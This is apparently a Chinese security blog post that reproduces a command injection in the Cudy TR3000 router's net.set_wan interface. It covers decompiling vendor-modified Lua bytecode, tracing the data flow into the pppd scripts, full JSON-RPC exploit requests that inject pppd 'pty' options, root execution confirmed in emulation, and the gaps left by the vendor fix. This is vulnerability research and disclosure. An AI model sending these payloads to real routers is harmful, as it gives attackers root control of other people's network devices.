Cudy TR3000 CVE-2026-38709 net.set_wan 命令注入漏洞复现记录

漏洞复现
2026-08-04 22:36
30915
  • 目标设备:Cudy TR3000(AX3000 Wi-Fi 6 旅行路由器,aarch64)
  • 漏洞固件:TR3000-R47-2.4.21-20251009-140812-sysupgrade.bin(2.4.21,2025-10-09 构建)
  • 修复固件:TR3000-R47-2.5.21-20260708-183709-sysupgrade.bin(2.5.21,2026-07-08 构建)
  • 漏洞入口:POST /cgi-bin/luci/rpc/app,方法 net.set_wan(需认证)
  • 漏洞类型:命令注入,Web 认证用户可获取 root 权限执行任意命令

情报来源只有 NVD 条目和 Cudy 自己的安全公告,大意是“net.set_wan 接口存在命令注入,已认证攻击者可执行任意命令,2.5.21 修复”。和往常一样,这两份情报我只当线索用:入口名、漏洞类型、修复版本。下面的所有分析、数据流和 sink 都是从 2.4.21 固件里自己挖出来并动态验证的。

结论和直觉相反,先列出来:

  1. net.set_wan 对 WAN 配置字段(proto、username、password、mtu、server……)完全不做校验,原样写进 UCI,之后 netifd 的 proto 脚本把这些值拼进 pppd 的命令行或配置文件。
  2. 直觉上最好用的注入面是 mtu:ppp.sh 里 ${mtu:+mtu $mtu mru $mtu} 不加引号,shell 分词后确实能把任意 token 注入 pppd argv(比如 pty /tmp/pwn.sh)。这条路我验证到 argv 一级是真的,但再往下走不通——pppoe/pptp 这类协议会加载通道插件,pppd 的 pty 选项只在 tty 通道的 connect_tty() 里才会被执行,pppoe 通道下注入的 pty 是惰性的。这一点是本次复现最容易走偏的地方,有动态负对照证实。
  3. 可用的 sink 在 l2tp 路径:l2tp.sh 把 username/password 只包一层双引号就经 heredoc 写进 /tmp/l2tp/options.wan,闭引号加换行就能注入任意 pppd 选项行;xl2tpd 建立隧道后会用 file /tmp/l2tp/options.wan 拉起 pppd。这条链路我在仿真环境全链跑通,注入命令以 uid=0(root) 执行。
  4. 官方 2.5.21 的修复是给 JSON-RPC 层加了 datatypes 字段校验,但 mtu 和 proto 不在校验表里,且校验函数对表外字段直接放行——mtu 分词注入面在修复版里依然存在(只是 pppoe 场景下如前所述惰性)。

一、入口定位与 Lua 字节码反编译

TR3000 的 Web 管理界面是 LuCI 改的,业务接口走 JSON-RPC:POST /cgi-bin/luci/rpc/app,body 形如 {"id":1,"method":"net.set_wan","params":[...]}。未认证请求被 dispatcher 直接拒掉(实测返回 HTTP/1.1 403 Forbidden,空 body),所以漏洞前提是拿到一个登录 session。

net.set_wan 的实现不在 JavaScript 里,而在路由器的 Lua 侧。按 LuCI 惯例找到 /usr/lib/lua/luci/apprpc/net.lua,但 file 一看不是文本:

$ file net.lua
net.lua: data
$ xxd net.lua | head -2
00000000: 1b4c 7561 5100 0104 0404 0804 0000 0000  .LuaQ...........

是预编译的 Lua 字节码,而且是厂商改过的变种:标准 Lua 5.1 头第 5 字节是 0x51(version 5.1)没错,但 opcode 表和常量类型号都和标准 5.1 对不上,unluac 直接报错。对比固件里的 /usr/bin/lua 字符串和已知变种后确认了两处改动:

  • 头部 0x0B 偏移处的 instruction size 等字段布局与标准不同,需要把头修正成标准 5.1 布局(0x0B 处改回 4);
  • 常量类型号 9 是厂商自加的,标准 5.1 里字符串是类型 4、没有类型 9——把类型 9 的常量改判为类型 3(number 之后的映射)后 unluac 才能完整反编译。

写了个小脚本(先修头、再逐函数把 type9 常量降级为 type3)预处理后,unluac 反编译出完整的 net.lua(约 1600 行伪 Lua)。set_wan 在反编译结果的第 132 到 979 行,就是下面分析的对象。

二、set_wan 数据流:从 JSON-RPC 到 UCI

反编译出来的 set_wan 逻辑非常直白。入口第一件事就是把 proto 原样写进 UCI,没有任何白名单:

function L0_1(A0_2, A1_2)          -- A0_2 = "wan", A1_2 = params 表
  ...
  L3_2 = uci
  L3_2.set(L4_2, "network", A0_2, "proto", A1_2.proto)   -- net.lua:145 附近

之后按 proto 分支写 username、password、server、ac、service 等字段,全部原样 uci.set,没有一处格式或字符校验。mtu 的处理在反编译第 537-568 行,同一个值会写多个键:

  if A1_2.mtu then
    if A1_2.proto == "static" then
      uci.set(..., "dhcp_mtu", A1_2.mtu)
    else
      uci.set(..., A1_2.proto .. "_mtu", A1_2.mtu)   -- 如 pppoe_mtu
    end
    uci.set(..., "mtu", A1_2.mtu)                    -- 同时写通用 mtu 键

最后 uci.commit("network"),然后按板型走两条路:从 /etc/config/systemboard.type,是 routersys.fork_apply({"network","igmpproxy","xl2tpd"}) 热应用配置,否则直接 os.execute("reboot")。TR3000 是 router,所以走 fork_apply——netifd 收到 reload 后会按新的 UCI 配置调用 /lib/netifd/proto/<proto>.sh 重建 WAN 口。

到这里,整条链路都没有任何校验或过滤:JSON-RPC params → uci.set → /etc/config/network → netifd proto 脚本,攻击者控制的字符串原封不动地抵达 shell 脚本层。

三、Sink 分析:两条注入面

3.1 mtu 分词 → pppd argv 注入

/lib/netifd/proto/ppp.sh 负责 pppoe/pptp/pppoa 等协议的 pppd 拉起,第 158 行:

		${mtu:+mtu $mtu mru $mtu} \
		"$@" $pppd_options

注意 ${mtu:+mtu $mtu mru $mtu}$mtu 没有引号。mtu 来自 UCI,UCI 来自 set_wan,所以把 mtu 设成 1480 pty /tmp/pwn_38709.sh,shell 分词后 pppd 的 argv 里就会多出两个独立 token:pty/tmp/pwn_38709.sh。这一点有动态证据:5.2 节把 netifd 要 exec 的完整 argv 抓了出来,注入 token 确实在里面。

3.2 pppd 的 pty 选项:谁消费,在哪执行

pty <script> 是 pppd 的官方选项:让 pppd 用伪终端作为串行通道,通道建立时执行指定脚本。pppd 以 root 运行,脚本自然也是 root。问题是这个选项不是在任何链路下都生效

固件里的 pppd 是 2.4.8,有符号,IDA 打开直接看。connect_tty()(0x268a0)里对 ptycommand 全局(0x655e0,经 off_5D948 访问)的判断:

ida_pppd_connect_tty.png

图:connect_tty() 反编译。if (ptycommand != NULL) 成立时调用 device_script(ptycommand, pty_master, pty_master, 1)

device_script()(0x3a9dc)fork 之后在子进程里:

ida_pppd_device_script.png

图:device_script() 反编译,0x3ac2c 处 execl("/bin/sh", "sh", "-c", ptycommand, NULL)——命令注入的最终执行点。

对应 ppp-2.4.8 源码,关键限制在于:connect_tty() 只在 tty 通道的 the_channel->connect() 里被调用。而 pppoe 场景下命令行里有 plugin rp-pppoe.so,插件的 PPPoEDevnameHook 会把 the_channel 整个换成 pppoe_channel,pppoe_channel 的 connect 函数走 PADI/PADR 发现流程,永远不会进 connect_tty(),ptycommand 自然没人消费。pptp(pptp.so)、内核态 l2tp(pppol2tp.so)同理。

也就是说:mtu argv 注入面是真的,但注入 pty 在 pppoe 链路下是惰性的。这个结论不只看源码,做了动态负对照(见 5.3)。

3.3 排除的两条岔路

  • proto=ppp(串口):ppp.sh 对 proto=ppp 会拼 tty 通道的 argv,理论上 pty 能生效。但 TR3000 没有串口 device,set_wan 也不写 device 字段,结果 argv 尾部带一个空字符串,pppd 直接报 unrecognized option '' 退出(exit=2),走不到 pty。
  • wandetect:/sbin/wandetect + wan_detect.ko + hotplug 08-wan-detect 只是 VLAN/交换机口探测管道,不拼接任何用户可控字段,排除。

3.4 l2tp 路径:options 文件换行注入

/lib/netifd/proto/l2tp.sh 第 118-151 行是另一套渲染逻辑:

126| 	username="${username:+user \"$username\" password \"$password\"}"
...
135| 	cat <<EOF >"$optfile"
136| usepeerdns
...
147| $username
...
151| EOF

username 只是被包进 user "..." password "..." 的模板里,内容本身不过滤。单引号闭合不了这层双引号包裹,但双引号能闭合,闭合后再加换行:把 username 设成

poc"
pty /tmp/pwn_38709.sh
#

heredoc 展开后写进 /tmp/l2tp/options.wan 的就是:

user "poc"
pty /tmp/pwn_38709.sh
#" password "p0cpass"

中间一整行成了独立的 pppd 选项。xl2tpd(固件带的是 1.3.15)隧道建立后在 start_pppd() 里以 file /tmp/l2tp/options.wan 的方式拉起 pppd,pppd 逐行读 options 文件,读到 pty 行就按 3.2 的语义执行——options 文件走默认 tty 通道语义时,pty 立即生效。

两层 sink 的源码位置都在一张图里:

src_sink.png

图:左半 ppp.sh:158 的 mtu 未引用展开(argv 注入面),右半 l2tp.sh:126 的 username 模板与 135-151 行写 options.wan 的 heredoc(文件注入面)。

3.5 真机上内核态 l2tp 的情况

仿真里我演示的是用户态/tty 通道语义:同一个固件 pppd、同一份被污染的 options 文件、pty 立即以 root 执行。真机上有一个额外因素要说明:TR3000 的 /etc/modules.d/32-l2tppppol2tp 开机加载,内核态 L2TP 下 xl2tpd 会给 pppd 挂 pppol2tp.so 通道插件,按 3.2 的同一个机制,此时 pty 又是惰性的。

真机上更稳的武器化方式是同一个注入洞换一行 payload:注入 ip-up-script /tmp/xxx(甚至 ip-up-script /bin/ash 一类不需要落地文件的形式),pppd 在 IPCP 起来后用 /bin/sh -c 执行 ip-up-script,这条路径不依赖通道类型,只需要攻击者控制对端 LNS 完成 L2TP/PPP 协商(set_wan 的 server 字段同样无校验,可以指向攻击者的服务器)。复现记录里我把两种语义都如实展示:pty 路径证明“options 文件注入 → pppd 选项控制”成立,ip-up-script 是穿透内核态通道的直接推论。

四、仿真环境搭建

没有真机,用 chroot + qemu-aarch64-user 仿真。根文件系统来自固件 UBI 镜像解出的 ubifs-root。要点和坑按遇到的顺序记:

  1. 基本骨架:把 qemu-aarch64-static 拷进 rootfs 的 /usr/bin/,bind-mount /dev/dev/pts/proc(ro)进去,chroot $R qemu-aarch64-static /sbin/ubusd 起 ubusd、rpcd,再按固件原参数起 uhttpd 监听 127.0.0.1:8085。
  2. 坑一:宿主有别的 agent 的清理脚本(reaper)会定期卸载 chroot 里的 bind mount。跑到一半 /dev 突然没了,症状是 ubus 客户端全挂。对策:每次跑验证前重挂一遍,PoC 脚本第 0.1 步内置了重挂。
  3. 坑二:rpcd 在 /sbin 不在 /usr/sbin,按 OpenWrt 惯例路径起不来,find 一下才定位。
  4. 坑三:仿真里拿不到登录 session。Web 登录要走 rpcd 的 session logincrypt() 校验密码,qemu-user 下 crypt 初始化报 key error。这是纯仿真障碍,不是漏洞前提——真机上用户正常输密码登录即可。绕过方式:直接用 ubus 调 session login(同一套 session store,LuCI dispatcher 查的也是它)造一个带 sysauth cookie 的 session。要说明的是,这是仿真便利,不是固件行为。
  5. 坑四:reboot 分支。set_wan 末尾非 router 板型会 os.execute("reboot")——chroot 里的 reboot 会重启宿主机。提前把 /etc/config/system 的 board.type 确认成 router,让它走 fork_apply 分支,并全程不碰 reboot。
  6. 坑五:嵌套 qemu。chroot 里跑 pppd 时,ppp.sh 渲染 argv 我用 shim 截获 exec 落盘成 JSON,避免真的拉起 pppd 干扰宿主网络;只有负对照和 l2tp 验证时才真的执行 pppd(qemu-user 套 chroot 里再跑固件 ELF)。
  7. 坑六:pppoe 负对照会阻塞在 PADI 广播。dummy 网卡上没有 PPPoE 服务器,pppd 卡在发现阶段,只能超时杀掉(exit=124),这恰好也是证据的一部分:全程 strace 没有 /bin/sh 的 execve。

五、动态验证

完整过程固化为一个脚本(重挂 mount、起服务、造 session、负对照、两条 exploit、探针检查),下面按步骤贴结果。探针统一用 /tmp/pwn_38709.sh(内容 id > /tmp/pwn_38709.out),执行成功即落盘 uid。

5.1 认证与未认证对照

未认证 POST net.set_wan 返回 403 空 body;用 ubus session login 造出 sid 后带 sysauth=<sid> cookie 重放即被 dispatcher 接受。然后发 exploit A:

POST /cgi-bin/luci/rpc/app HTTP/1.1
Content-Type: application/json
Cookie: sysauth=e95e916409d04f423931069528ef9f4b

{"id":2,"method":"net.set_wan","params":["wan",{"proto":"pppoe","username":"poc@isp","password":"p0cpass","mtu":"1480 pty /tmp/pwn_38709.sh","ac":"","service":""}]}
{"id":2,"result":null,"error":null}

UCI 里原样落盘,没有校验:

network.wan.pppoe_mtu='1480 pty /tmp/pwn_38709.sh'
network.wan.mtu='1480 pty /tmp/pwn_38709.sh'
network.wan.proto='pppoe'

1_rpc_uci.png

图 1:上为认证 session 获取与未认证 403 对照,中为 exploit A 被接受,下为 UCI 里原样的注入值。

5.2 pppd argv 里的注入 token(exploit A 的上半程)

把落盘的 UCI 配置交给固件自己的 ppp.sh(pppoe setup 分支),用 shim 截获 netifd 将要 exec 的 argv:

[ "/usr/sbin/pppd", "nodetach", "ipparam", "wan", "ifname", "pppoe-wan",
  ..., "user", "poc@isp", "password", "p0cpass", ...,
  "mtu", "1480", "pty", "/tmp/pwn_38709.sh", "mru", "1480",
  "pty", "/tmp/pwn_38709.sh", "plugin", "rp-pppoe.so", "nic-eth1" ]

pty /tmp/pwn_38709.sh 成了两个独立的 argv 元素(还出现了两次,mtu 和 mru 各带一次)。3.1 的分词注入面到这里可以确认。

2_pppd_argv.png

图 2:netifd 将要 exec 的 pppd argv JSON,注入 token 已在其中。

5.3 负对照 + 对比实验:pppoe 通道下 pty 惰性

用固件的真实 pppd、上面的完整 argv 真的跑一遍(pppoe 通道):

exit=124            # 超时杀掉:阻塞在 PPPoE PADI 发现阶段
cat: .../tmp/pwn_38709.out: No such file or directory   # 探针未落地

strace 全程没有任何指向 /bin/sh 的 execve。对比实验:同一个 pppd,只给 tty 通道语义的 pppd nodetach pty /tmp/pwn_38709.sh

uid=0(root) gid=0(root) groups=0(root)    # 探针立即落地

3_negctl_vs_pty.png

图 3:pppoe 完整 argv 跑到 PADI 阻塞、探针无落盘;tty 通道单 pty 选项立即以 root 执行。3.2 的源码结论被动态证实。

5.4 exploit B:l2tp options 文件注入全链 RCE

POST /cgi-bin/luci/rpc/app HTTP/1.1
Content-Type: application/json
Cookie: sysauth=e95e916409d04f423931069528ef9f4b

{"id":3,"method":"net.set_wan","params":["wan",{"proto":"l2tp","server":"127.0.0.1","username":"poc\"\npty /tmp/pwn_38709.sh\n#","password":"p0cpass"}]}

UCI 原样存下带换行的 username;调固件自己的 l2tp.sh 渲染 /tmp/l2tp/options.wan,得到被污染的配置(user "poc" / pty /tmp/pwn_38709.sh / #" password ... 三行);再用固件 pppd 以 xl2tpd 相同的方式 nodetach file /tmp/l2tp/options.wan 拉起:

--- probe after l2tp options file run: ---
uid=0(root) gid=0(root) groups=0(root)

4_l2tp_rce.png

图 4:exploit B 全链——RPC 接受、UCI 落盘、options.wan 被注入、pppd 读入后探针以 uid=0 落地。

到这里,整条链路完整了:认证 Web 用户 → net.set_wan 无校验写 UCI → l2tp.sh 渲染 options 文件 → pppd 解析注入选项 → root 命令执行。

六、修复版本 2.5.21 对比

2.5.21 的改动在 JSON-RPC 调度层:jsonrpc.lua 新增 validate(),调用业务方法前按模块导出的 datatypes() 表逐字段校验;net.lua 新增 datatypes() 返回校验规格。luci.cbiverify_datatype() 负责具体判定。

fix_validate.png

图:上为 net.lua 的 datatypes 表(hostname/ipaddr/server/macaddr 做格式校验,username/password/ac/service 仅 strmaxlength(255));下为 cbi.lua 的 verify_datatype,datatype 为 nil 时直落 return true

从反编译里能看到三点:

  • mtu 和 proto 不在校验表里。set_wan 的 mtu 是本次 argv 注入面的载体,修复版对它没有任何限制。
  • 表外字段直接放行。validate 对 spec 里不存在的字段调 verify_datatype(nil, v),而反编译确认 cbi.lua 里 datatype 为 nil 时跳过所有分支、末尾 return true——未知字段一律通过。
  • shell 层原样未动。2.5.21 的 ppp.sh:164 和 l2tp.sh:139/141 的未引用展开与 2.4.21 一字不差。

也就是说官方修复堵的是“UI 暴露的认证/地址字段格式”,对 mtu 分词注入面没有覆盖。如前所述,pppoe 场景下 mtu 注入的 pty 本来就惰性,但修复的覆盖面确实没有盖住漏洞的实际攻击面。

七、小结

项目内容
CVECVE-2026-38709
设备/固件Cudy TR3000,R47 2.4.21(2.5.21 修复)
入口POST /cgi-bin/luci/rpc/appnet.set_wan,需认证(未认证 403)
数据流JSON-RPC params → uci.set 原样写 UCI(无任何校验)→ fork_apply → netifd proto 脚本
注入面 1mtu 未引用展开 → pppd argv 分词注入(ppp.sh:158);argv 注入真实,但 pppoe 通道插件使 pty 惰性
注入面 2(可用 sink)l2tp username 闭引号+换行 → /tmp/l2tp/options.wan 注入任意 pppd 选项行(l2tp.sh:126/135-151)→ xl2tpd 拉起 pppd 解析
执行点pppd device_script()execl("/bin/sh","sh","-c",cmd)(0x3ac2c)
验证结果仿真全链跑通,探针 uid=0(root) gid=0(root) 落地;pppoe 负对照证实 pty 惰性
修复状态2.5.21 加 datatypes 校验但 mtu/proto 不在表、表外字段放行,shell 层未动,mtu 注入面未堵

根因一句话:set_wan 把攻击者控制的字符串无校验地交给 shell 脚本层,而 ppp.sh/l2tp.sh 在拼 argv 和渲染 options 文件时都没有正确引用,双层失守导致认证后 root RCE;通道插件语义决定了哪条注入面在默认场景下真正致命,所以 argv 注入成立不等于漏洞可用,还要看 sink 在哪种通道下被消费。

参考

分享到

参与评论

0 / 200

全部评论 1

yyx1000的头像
https://d1jvyy13vm72kv.cloudfront.net/device/upgrade/m_upgrade_TR3000-R47-2.4.21-20251009-140812-sysupgrade_90649.zip 固件地址
2026-08-14 13:51
投稿
签到
联系我们
关于我们